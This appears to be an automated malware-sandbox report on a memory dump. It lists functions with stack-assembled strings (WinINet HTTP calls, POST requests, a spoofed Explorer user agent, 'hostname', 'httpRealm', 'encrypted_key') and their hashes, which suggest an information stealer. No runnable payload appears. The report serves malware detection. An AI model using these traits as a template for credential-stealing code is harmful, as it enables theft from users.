:, xrefs: 50491FF2
P, xrefs: 50492012
t, xrefs: 50492004

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$:$A$I$N$P$m$s$t
API String ID: 0-2304485323
Opcode ID: fbd247a8541f82ff388cda67ef5e0f1ea6231e6a0c3d850e1b73e7753615c81f
Instruction ID: 46932c2c4b98973b15a47843e88f378331842af9c3ed21f5c5880720441cabb0
Opcode Fuzzy Hash: fbd247a8541f82ff388cda67ef5e0f1ea6231e6a0c3d850e1b73e7753615c81f
Instruction Fuzzy Hash: 56810DB5A10308AFDB10CFE4C881BDEBBB9BF59304F14492DE509E7240E779A914CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 50490E70, Relevance: 12.7, Strings: 10, Instructions: 181COMMON

Download Yara Rule

Strings

a, xrefs: 50490F5B
l, xrefs: 50490F4D
c, xrefs: 50490F46
d_ke, xrefs: 50490F74
encr, xrefs: 50490F66
S, xrefs: 50490F54
y, xrefs: 50490F7B
"}, xrefs: 50490F35
ypte, xrefs: 50490F6D
L, xrefs: 50490F3F

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "}$L$S$a$c$d_ke$encr$l$y$ypte
API String ID: 0-3767459862
Opcode ID: 9f5382caf984d005be10b8a5391c7d80af1c44bb2a896505c687fc1c9ba3124a
Instruction ID: fc36781957f266e477bf36112a84a2e68a676bb5e9136c9419f732f87315ecf1
Opcode Fuzzy Hash: 9f5382caf984d005be10b8a5391c7d80af1c44bb2a896505c687fc1c9ba3124a
Instruction Fuzzy Hash: 47517FB1D01218AEDB50CFE89C45BEEBBF8AF58304F00466EE508E7240EB795954CB95

Uniqueness

Uniqueness Score: -1.00%

Function 50490390, Relevance: 11.4, Strings: 9, Instructions: 164COMMON

Download Yara Rule

Strings

r, xrefs: 504903F9
e, xrefs: 5049049C
., xrefs: 50490400
o, xrefs: 50490495
y, xrefs: 504904A3
n, xrefs: 50490407
, xrefs: 50490487
e, xrefs: 5049048E
DIP, xrefs: 504903F3

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$DIP$e$e$n$o$r$y
API String ID: 0-1395137066
Opcode ID: 86a853e48d550c630ad85ea41c61992ef9ff2526ceeb093c72437b61e511ad09
Instruction ID: e1723e354a0a2bfd158fd643c48aee0f823a2e928f5f44edc01b954ecab35704
Opcode Fuzzy Hash: 86a853e48d550c630ad85ea41c61992ef9ff2526ceeb093c72437b61e511ad09
Instruction Fuzzy Hash: 815151B1A01308AFDB10DFA4D945BEEBBF8AF45304F104A6EE509D7240E7799A548BD1

Uniqueness

Uniqueness Score: -1.00%

Function 50486AE0, Relevance: 11.4, Strings: 9, Instructions: 119COMMON

Download Yara Rule

Strings

n, xrefs: 50486BD2
C, xrefs: 50486B66
U, xrefs: 50486BBD
d, xrefs: 50486B82
k, xrefs: 50486BC4
a, xrefs: 50486B7B
b, xrefs: 50486B74
i, xrefs: 50486B6D
o, xrefs: 50486BCB

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: C$U$a$b$d$i$k$n$o
API String ID: 0-3121204512
Opcode ID: cb3b8eb2dafcb18fe231f2139bec4de787c7ed64dd9d78b9fdb63ed28244eefc
Instruction ID: 0ab045279a5169d375be00af10342c23509c60f939b3adb82bc0384faa1ee364
Opcode Fuzzy Hash: cb3b8eb2dafcb18fe231f2139bec4de787c7ed64dd9d78b9fdb63ed28244eefc
Instruction Fuzzy Hash: 254191B1A01308BAEB10DFA0DC85FEF77B9AF45708F00891DF919A6241E77866148BE5

Uniqueness

Uniqueness Score: -1.00%

Function 504913A0, Relevance: 10.2, Strings: 8, Instructions: 228COMMON

Download Yara Rule

Strings

:, xrefs: 50491437
U, xrefs: 50491429
e, xrefs: 50491430
s, xrefs: 50491453
:, xrefs: 5049145A
U, xrefs: 5049140B
l, xrefs: 50491412
P, xrefs: 5049144C

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$P$U$U$e$l$s
API String ID: 0-522774390
Opcode ID: 12f3adf8073729c7763d178792be3848b705b5458d5bf31e39d136448b027472
Instruction ID: 3598152d78a65c0d6ebd3e2757dce77de38c910157068ff0d4d0074bfa95168c
Opcode Fuzzy Hash: 12f3adf8073729c7763d178792be3848b705b5458d5bf31e39d136448b027472
Instruction Fuzzy Hash: 62912AB1A10308ABDB14CFA4C841BEEB7F9AF99314F14492DA519DB240EB78A911CB95

Uniqueness

Uniqueness Score: -1.00%

Function 5049139D, Relevance: 10.2, Strings: 8, Instructions: 227COMMON

Download Yara Rule

Strings

:, xrefs: 50491437
U, xrefs: 50491429
e, xrefs: 50491430
s, xrefs: 50491453
:, xrefs: 5049145A
U, xrefs: 5049140B
l, xrefs: 50491412
P, xrefs: 5049144C

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: :$:$P$U$U$e$l$s
API String ID: 0-522774390
Opcode ID: d9d61fae4ef54a629af0f3d16fd442834468187da89c4c2a42c4f7fb4ec5f6ba
Instruction ID: 7eb29414510981ec8223c1c76b2238dc36a3122ec4049dd175a755ac03353a7a
Opcode Fuzzy Hash: d9d61fae4ef54a629af0f3d16fd442834468187da89c4c2a42c4f7fb4ec5f6ba
Instruction Fuzzy Hash: 1D913AB1A10308AFDB14CFE4C841BEEBBF5AF99314F14492DE519DB240EB78A911CB95

Uniqueness

Uniqueness Score: -1.00%

Function 5048E730, Relevance: 10.2, Strings: 8, Instructions: 215COMMON

Download Yara Rule

Strings

p, xrefs: 5048E755
i, xrefs: 5048E763
e, xrefs: 5048E76A
URL: , xrefs: 5048E971, 5048E974
L: , xrefs: 5048E985, 5048E98E, 5048E988
n, xrefs: 5048E778
., xrefs: 5048E771
o, xrefs: 5048E75C

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: URL: $.$L: $e$i$n$o$p
API String ID: 0-3631070777
Opcode ID: 368775de8e3da81bb7e65b19500ddd431ef5e4a17c628f56570e3e9d1769b3f8
Instruction ID: 47de0824eae432fc92fb180a55845bad91a3b8b51a93449fc8e14839f4aa7e1e
Opcode Fuzzy Hash: 368775de8e3da81bb7e65b19500ddd431ef5e4a17c628f56570e3e9d1769b3f8
Instruction Fuzzy Hash: 41814CB0901208AEDB10DFA5CC41AEFB7F9EF94304F00492EE909AB241E775A955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 5048D710, Relevance: 10.1, Strings: 8, Instructions: 123COMMON

Download Yara Rule

Strings

., xrefs: 5048D72B
e, xrefs: 5048D740
o, xrefs: 5048D74E
i, xrefs: 5048D739
q, xrefs: 5048D732
e, xrefs: 5048D75C
k, xrefs: 5048D755
\, xrefs: 5048D747

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: .$\$e$e$i$k$o$q
API String ID: 0-882348391
Opcode ID: 7dc853b92fc3b3c9b23a00fe7fb26bed094f67e61c637367bbb06285d8665cc5
Instruction ID: 53086053352e1db09654fc3b14fd40dc083a2d576202583fee852702fc99d4e0
Opcode Fuzzy Hash: 7dc853b92fc3b3c9b23a00fe7fb26bed094f67e61c637367bbb06285d8665cc5
Instruction Fuzzy Hash: 1841E8F1E012186ADB10DF94CD42FEF77BCDF98304F400A9AB205A6041E779AB548BE5

Uniqueness

Uniqueness Score: -1.00%

Function 50498CC0, Relevance: 10.0, Strings: 8, Instructions: 48COMMON

Download Yara Rule

Strings

Open, xrefs: 50498CE1
Requ, xrefs: 50498CE8
estA, xrefs: 50498CEF
RequestA, xrefs: 50498D22, 50498D27
HttpOpenRequestA, xrefs: 50498CCD
OpenRequestA, xrefs: 50498D1E, 50498D26
Http, xrefs: 50498CDA
HttpOpenRequestA, xrefs: 50498D1A, 50498D25

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Http$HttpOpenRequestA$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
API String ID: 0-4016285707
Opcode ID: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction ID: 2d90b5bd50af87dfefaa472ae08e7391b3f290670cec49648f315fcb8b43be87
Opcode Fuzzy Hash: fea90beabff67b2b567d8da6d4b6fac2dcdbdf4ce93c97183384f69e53b9be53
Instruction Fuzzy Hash: 3F01D3B2A05159ABCB04DF99D841DEF7BB9EB48210F158699FE09A7204D634AE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498D40, Relevance: 10.0, Strings: 8, Instructions: 42COMMON

Download Yara Rule

Strings

RequestA, xrefs: 50498D96, 50498D9B
Http, xrefs: 50498D5A
estA, xrefs: 50498D6F
HttpSendRequestA, xrefs: 50498D8E, 50498D99
SendRequestA, xrefs: 50498D92, 50498D9A
Requ, xrefs: 50498D68
Send, xrefs: 50498D61
HttpSendRequestA, xrefs: 50498D4D

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
API String ID: 0-2503632690
Opcode ID: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction ID: dade1f414c473e14f80d133b095e5464492f0320a973313596fc0917080afba4
Opcode Fuzzy Hash: db97a3a7caecdf95fe0a304b753d44bd81bfc0f21146fd473aad3fd0d43d0554
Instruction Fuzzy Hash: F301FBB2909119AFCB04DF99D845AEF7BBCEB58210F118699FD19A7304D670EE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498DB0, Relevance: 10.0, Strings: 8, Instructions: 40COMMON

Download Yara Rule

Strings

ReadFile, xrefs: 50498E02, 50498E07
InternetReadFile, xrefs: 50498DFB, 50498E05
rnet, xrefs: 50498DD1
rnetReadFile, xrefs: 50498DFE, 50498E06
Read, xrefs: 50498DD8
Inte, xrefs: 50498DCA
File, xrefs: 50498DDF
File, xrefs: 50498DB6

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: File$File$Inte$InternetReadFile$Read$ReadFile$rnet$rnetReadFile
API String ID: 0-3169538877
Opcode ID: 77f7bfc3bcc568f89f5f5c20ffbe1a45459ed9468e3cbe435dbb69ae827bcf29
Instruction ID: 7343cb6ea6111fd61ec61b7f070dede768933908fcc1f1796e7ba64ab193d591
Opcode Fuzzy Hash: 77f7bfc3bcc568f89f5f5c20ffbe1a45459ed9468e3cbe435dbb69ae827bcf29
Instruction Fuzzy Hash: BC0119B2905118AFCB00DFD8D945AEF7BB8EB44210F148699ED49AB205D270AE10CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 50484F20, Relevance: 9.0, Strings: 7, Instructions: 234COMMON

Download Yara Rule

Strings

., xrefs: 50484FBA
x, xrefs: 50484FA1
., xrefs: 50484F9A
\, xrefs: 50484F93
l, xrefs: 50484FC4
F;HP, xrefs: 50484F36, 50485079, 5048513D
, xrefs: 50484FF4

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$.$F;HP$\$l$x
API String ID: 0-4087397101
Opcode ID: c0f0e6de0ec9f9661128ab17afa656e2dc41612c1cb60b212f2480865e78bec2
Instruction ID: 436ad5d61fc699f177bab20f1ab894741bbc3df058f03bda711bde4abc5e04ef
Opcode Fuzzy Hash: c0f0e6de0ec9f9661128ab17afa656e2dc41612c1cb60b212f2480865e78bec2
Instruction Fuzzy Hash: C071EC719012146AE721CB94CC46FEEB77CAF55704F0446AFFA09AB180E7B96E44CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50484F18, Relevance: 8.9, Strings: 7, Instructions: 141COMMON

Download Yara Rule

Strings

., xrefs: 50484FBA
x, xrefs: 50484FA1
., xrefs: 50484F9A
\, xrefs: 50484F93
l, xrefs: 50484FC4
F;HP, xrefs: 50484F36
, xrefs: 50484FF4

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$.$F;HP$\$l$x
API String ID: 0-4087397101
Opcode ID: 5c034f2aa42a9310e03443dac6d22256cb9a043a8d946947eddcc723a42d7809
Instruction ID: 8d623762dda942f032b0b41e66bb7c841baf3e0cde07181a125f188d939d6f26
Opcode Fuzzy Hash: 5c034f2aa42a9310e03443dac6d22256cb9a043a8d946947eddcc723a42d7809
Instruction Fuzzy Hash: 0C41CD719413586ADB21CB94CC52FEE77B8AF15704F004A6EFB096B180D7B95A44CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 50498C40, Relevance: 8.8, Strings: 7, Instructions: 48COMMON

Download Yara Rule

Strings

Inte, xrefs: 50498C5A
rnetConnectA, xrefs: 50498C9E, 50498CA6
rnet, xrefs: 50498C61
ConnectA, xrefs: 50498CA2, 50498CA7
Conn, xrefs: 50498C68
InternetConnectA, xrefs: 50498C9A, 50498CA5
ectA, xrefs: 50498C6F

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Conn$ConnectA$Inte$InternetConnectA$ectA$rnet$rnetConnectA
API String ID: 0-1024195942
Opcode ID: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction ID: 6468facc785ea37f8b6450aac39e284e2f085ea7eb0dbe20da8b5a58351c9e6b
Opcode Fuzzy Hash: 5a91d16494d0f57e6db0b04c43c500e05e142fe6b6b4993dc2c2e1d1dc4bd2c0
Instruction Fuzzy Hash: 5F01E9B2915118AFCB04DFD9D941EEF7BB8EB48310F154699BE08A7240D634EE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 5048E440, Relevance: 7.8, Strings: 6, Instructions: 261COMMON

Download Yara Rule

Strings

}HPP, xrefs: 5048E6AE, 5048E6BB, 5048E6B1, 5048E6C0
httpRealm, xrefs: 5048E503, 5048E506
L: , xrefs: 5048E44C, 5048E5E7, 5048E66E, 5048E6D8, 5048E5EC, 5048E677, 5048E678, 5048E6E1, 5048E6E2
hostname, xrefs: 5048E4F5, 5048E4F8
guid, xrefs: 5048E69B, 5048E6A2
guid, xrefs: 5048E671, 5048E6DB, 5048E679, 5048E6E3

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: L: $guid$guid$hostname$httpRealm$}HPP
API String ID: 0-3187202489
Opcode ID: 79aa19b49911147f48b7409250749418dbae78de06bfc0717a260046203dd2c2
Instruction ID: dca50966a4945112e718cc5be00fd253b47e9e719cc1e9be143db64d5aa8708f
Opcode Fuzzy Hash: 79aa19b49911147f48b7409250749418dbae78de06bfc0717a260046203dd2c2
Instruction Fuzzy Hash: C39111B0901249AFDB50CFE4CC86FEE7BB8AF58304F00465EF918A7241E6749915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 5048F670, Relevance: 7.7, Strings: 6, Instructions: 227COMMON

Download Yara Rule

Strings

c, xrefs: 5048F90C
s, xrefs: 5048F921
A, xrefs: 5048F905
t, xrefs: 5048F91A
g, xrefs: 5048F928
u, xrefs: 5048F913

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$c$g$s$t$u
API String ID: 0-3813946880
Opcode ID: 7baa69dc1aa20ebec65ee4f01242c2393ac5cc16002f35e230a65b480fdb7059
Instruction ID: 1a44b9fa8be2dab9f50246b9dee22c0ff8573f2bad1fcd6e2da92235db7ae1fe
Opcode Fuzzy Hash: 7baa69dc1aa20ebec65ee4f01242c2393ac5cc16002f35e230a65b480fdb7059
Instruction Fuzzy Hash: EB8141B5D01218AADF60DFE4CC46BEE77B8AF54304F14466EF609A6140FB745A48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 5048D8C0, Relevance: 7.7, Strings: 6, Instructions: 171COMMON

Download Yara Rule

Strings

r, xrefs: 5048D90C
F, xrefs: 5048D905
f, xrefs: 5048D913
x, xrefs: 5048D91A
P, xrefs: 5048D8E9
T, xrefs: 5048D8F0

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: F$P$T$f$r$x
API String ID: 0-2523166886
Opcode ID: b73eda173020e50f4648fe9a628d0976be6787cd24a1c979f24c863eafe7dbd4
Instruction ID: 600d47f830a5986c9736eea289c6d910d2600eea47a493b1fde2a97cd145fd0a
Opcode Fuzzy Hash: b73eda173020e50f4648fe9a628d0976be6787cd24a1c979f24c863eafe7dbd4
Instruction Fuzzy Hash: 2651C771946704AADB24CFA4CC41BEBB7F8FF14708F104B6EE50956580E7B8A954CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50483658, Relevance: 7.6, Strings: 6, Instructions: 117COMMON

Download Yara Rule

Strings

2008, xrefs: 50483733, 50483736
2016, xrefs: 5048377F, 50483782
7, xrefs: 504836F4
8, xrefs: 504836CC
2012, xrefs: 5048376C, 5048376F
10, xrefs: 504836D3

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 10$2008$2012$2016$7$8
API String ID: 0-783846285
Opcode ID: 252e9cc1725f3f8ef4e0dd5adbf65ca0e9fb7afbc83a0c7f6b7b089b9c04a075
Instruction ID: 293218ee37beb0e2754b4a65cdebd3a8acf2372a0eaefb628607bd5b331bc851
Opcode Fuzzy Hash: 252e9cc1725f3f8ef4e0dd5adbf65ca0e9fb7afbc83a0c7f6b7b089b9c04a075
Instruction Fuzzy Hash: 3C31F3B18012146ADB208BD4DC06BEEB778AF54349F044A5AEE05A6342F779CA15C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 504836B0, Relevance: 7.6, Strings: 6, Instructions: 90COMMON

Download Yara Rule

Strings

2008, xrefs: 50483733, 50483736
2016, xrefs: 5048377F, 50483782
7, xrefs: 504836F4
8, xrefs: 504836CC
2012, xrefs: 5048376C, 5048376F
10, xrefs: 504836D3

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: 10$2008$2012$2016$7$8
API String ID: 0-783846285
Opcode ID: 2fd3d4ec165d0379111a39a8af9c52c5d9649513b21dc05a215f24615a58a2d3
Instruction ID: dd7032df8c97329a164aad93d7cabd4f7cd9509637d0a68a271cd64deae86500
Opcode Fuzzy Hash: 2fd3d4ec165d0379111a39a8af9c52c5d9649513b21dc05a215f24615a58a2d3
Instruction Fuzzy Hash: 7321B6F1D412186AEB00DBD0DC46BEEBB7CAF14349F04469AED04A6242F3B98719C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 50498BD0, Relevance: 7.5, Strings: 6, Instructions: 41COMMON

Download Yara Rule

Strings

InternetOpenA, xrefs: 50498C1D, 50498C25
Inte, xrefs: 50498BEA
Open, xrefs: 50498BF8
A, xrefs: 50498BFF
rnetOpenA, xrefs: 50498C21, 50498C26
rnet, xrefs: 50498BF1

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 0-3155091674
Opcode ID: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction ID: dabb02b20a651be7e55830b863bcf4f13bc742bed80eb1a119b233c74a835a22
Opcode Fuzzy Hash: a6bd7c6617a6fc903c9a7f07eed257647a49593ccfbd608e88943fc20d551768
Instruction Fuzzy Hash: FDF0F6B2901118AF8B14DFD9D8419EB7BB8EB48310B04868ABE18A7245D634AE10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 50498BC8, Relevance: 7.5, Strings: 6, Instructions: 35COMMON

Download Yara Rule

Strings

InternetOpenA, xrefs: 50498C1D, 50498C25
Inte, xrefs: 50498BEA
Open, xrefs: 50498BF8
A, xrefs: 50498BFF
rnetOpenA, xrefs: 50498C21, 50498C26
rnet, xrefs: 50498BF1

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
API String ID: 0-3155091674
Opcode ID: 4d47c13b9b3b1006ac414cd9625c0ebdfaec208d916116bba8baa9d96f5be1f2
Instruction ID: 38be20735302f9aa736073fcdf8d36ab5725a8a281eb652b56be80040d9e0b3f
Opcode Fuzzy Hash: 4d47c13b9b3b1006ac414cd9625c0ebdfaec208d916116bba8baa9d96f5be1f2
Instruction Fuzzy Hash: 59F03CB6911219AFCB14CF98D9419EF7BB9FF44310B048A9DBE1867245D234AA10CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 50498E20, Relevance: 7.5, Strings: 6, Instructions: 34COMMON

Download Yara Rule

Strings

Clos, xrefs: 50498E48
dle, xrefs: 50498E56
CloseHandle, xrefs: 50498E6B, 50498E6E
eHan, xrefs: 50498E4F
rnet, xrefs: 50498E41
Inte, xrefs: 50498E3A

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
API String ID: 0-4067651292
Opcode ID: 5dbf4104c698586ebdf7b707d1bf2520d912350f86961b26068399d97cf18735
Instruction ID: 1b3f17d44799399ea7a450000412d62b0d0625157a683039061d59050d872e8d
Opcode Fuzzy Hash: 5dbf4104c698586ebdf7b707d1bf2520d912350f86961b26068399d97cf18735
Instruction Fuzzy Hash: FCF03072D06218AF8B04DFD9D9459EEBBB8EB44310F108699EE48AB205D6709F10CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 504837B0, Relevance: 6.6, Strings: 5, Instructions: 379COMMON

Download Yara Rule

Strings

HTTP, xrefs: 50483811, 50483815
XLNG, xrefs: 50483AF2
XLNG, xrefs: 50483A08
, xrefs: 50483B20, 50483B08, 50483B0E, 50483B3E, 50483B6D, 50483B8B
200 OK, xrefs: 5048382B, 5048382E

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $200 OK$HTTP$XLNG$XLNG
API String ID: 0-1796545149
Opcode ID: a27a99b0f8872d5905ad3d0b5969a4eeba88586027fd1c4e8e3e84fbfce4404e
Instruction ID: 550425c913a9d7385f534e39420f9c41ecce71161a58f5a649e2c2451b963599
Opcode Fuzzy Hash: a27a99b0f8872d5905ad3d0b5969a4eeba88586027fd1c4e8e3e84fbfce4404e
Instruction Fuzzy Hash: 94C12CB2D012046AD734DF99D881BDA77A8EF45219F148AAFF90E9B202E739DD44C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 50484A20, Relevance: 6.4, Strings: 5, Instructions: 177COMMON

Download Yara Rule

Strings

., xrefs: 50484A6E
x, xrefs: 50484A75
D, xrefs: 50484B9C
, xrefs: 50484A3E
\, xrefs: 50484A67

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: $.$D$\$x
API String ID: 0-477071024
Opcode ID: 98f1993699b08de1532e5a321790304a3d4dc99139b779372be0f00f786ed4aa
Instruction ID: 8598f9f0cc81eeeb3c0e825240a3934d0ad9c89a52d86cc86de60f6c94c20375
Opcode Fuzzy Hash: 98f1993699b08de1532e5a321790304a3d4dc99139b779372be0f00f786ed4aa
Instruction Fuzzy Hash: BA5188B19013147AE710CBA49C42FFF77BCDF54708F00466EFA09A6180EA79AA54C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 50496F00, Relevance: 6.4, Strings: 5, Instructions: 176COMMON

Download Yara Rule

Strings

Windows Expl, xrefs: 50496F75, 50496F78
Expl, xrefs: 50496F96, 50496F9C
Windows Expl, xrefs: 50496FA9, 50496FB8
GET, xrefs: 50496FE2, 50496FE5
rer, xrefs: 50496F61

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Expl$GET$Windows Expl$Windows Expl$rer
API String ID: 0-314038199
Opcode ID: d8ccd1e145d0b97d1702d2a8da2e748fdf36bade68516077b8aada5d1e5205f9
Instruction ID: 2ed4fac0d5c636c950a87686126d3393785a180e20ae6c650c6534a7f67fc64a
Opcode Fuzzy Hash: d8ccd1e145d0b97d1702d2a8da2e748fdf36bade68516077b8aada5d1e5205f9
Instruction Fuzzy Hash: 4F5188B19412096BEB10CF54CC42FEF7BB8AB54754F04466DFA08AB281E778AA418BD1

Uniqueness

Uniqueness Score: -1.00%

Function 50497100, Relevance: 6.4, Strings: 5, Instructions: 154COMMON

Download Yara Rule

Strings

Windows Expl, xrefs: 50497196, 50497199
*/*, xrefs: 50497209
POST, xrefs: 50497176, 50497283, 504972AB, 5049719A, 5049720C, 50497241, 50497252, 5049728D, 5049728E, 504972AE, 504972AF, 504972B6
POST, xrefs: 5049723C, 5049723F
rer, xrefs: 5049716A

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: */*$POST$POST$Windows Expl$rer
API String ID: 0-1278404498
Opcode ID: 55abd0d730f3edfc8f40dd672c8450f58e8582ac5a9713aa6855c618a3f3be06
Instruction ID: da706dfa733762baee54bba5794ba2080bf1e79dbc4bd1e30116ebe49e8d1acb
Opcode Fuzzy Hash: 55abd0d730f3edfc8f40dd672c8450f58e8582ac5a9713aa6855c618a3f3be06
Instruction Fuzzy Hash: C25176B1901208BFEB11CF94DC42FEE7BB8AF15314F04466AF909AB281E7745A55CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 504970F7, Relevance: 6.4, Strings: 5, Instructions: 151COMMON

Download Yara Rule

Strings

Windows Expl, xrefs: 50497196, 50497199
*/*, xrefs: 50497209
POST, xrefs: 50497176, 5049719A, 5049720C, 50497241, 50497252
POST, xrefs: 5049723C, 5049723F
rer, xrefs: 5049716A

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: */*$POST$POST$Windows Expl$rer
API String ID: 0-1278404498
Opcode ID: 3ca8ca8db6e973f96f05b23d399c16467fa45ff294476d1709e719225fa8fcfd
Instruction ID: cc192b5b35c011518e7b701ff7f02009b6cd4235d9c6ac991d15696e2230bf06
Opcode Fuzzy Hash: 3ca8ca8db6e973f96f05b23d399c16467fa45ff294476d1709e719225fa8fcfd
Instruction Fuzzy Hash: AF5184B1901209AFEB11CFA4DC41BEFBBB8EF14314F00456AF908AB281D7745A55CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 5048FFF0, Relevance: 6.3, Strings: 5, Instructions: 93COMMON

Download Yara Rule

Strings

", xrefs: 50490027
", xrefs: 5049002E
.;HP", xrefs: 5049004C, 5049004F, 50490061
/, xrefs: 5049003C
", xrefs: 50490035

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: "$"$"$.;HP"$/
API String ID: 0-3177049210
Opcode ID: 59d3a4136e36f7f9a2579bfd388b5f97152e75a2ae7792072d53e0960fbb8789
Instruction ID: 91b691f21f9532ea0d0e203aab6dd9aea9c720a4ce45bde28fb25bdf445b5288
Opcode Fuzzy Hash: 59d3a4136e36f7f9a2579bfd388b5f97152e75a2ae7792072d53e0960fbb8789
Instruction Fuzzy Hash: 123161F681110CB6DB10DBE49D42EEF377C9F94308F004ABABA0596102F675A7648BF6

Uniqueness

Uniqueness Score: -1.00%

Function 50496EF7, Relevance: 6.3, Strings: 5, Instructions: 91COMMON

Download Yara Rule

Strings

Windows Expl, xrefs: 50496F75, 50496F78
Expl, xrefs: 50496F96, 50496F9C
Windows Expl, xrefs: 50496FA9, 50496FB8
GET, xrefs: 50496FE2, 50496FE5
rer, xrefs: 50496F61

Memory Dump Source

Source File: 00000020.00000002.560729262.0000000050481000.00000040.00000001.sdmp, Offset: 50481000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Expl$GET$Windows Expl$Windows Expl$rer
API String ID: 0-314038199
Opcode ID: 1ee2b983beb3da804c69861f303041e8fe1ab3fbbf518b475522efe816e4d7c9
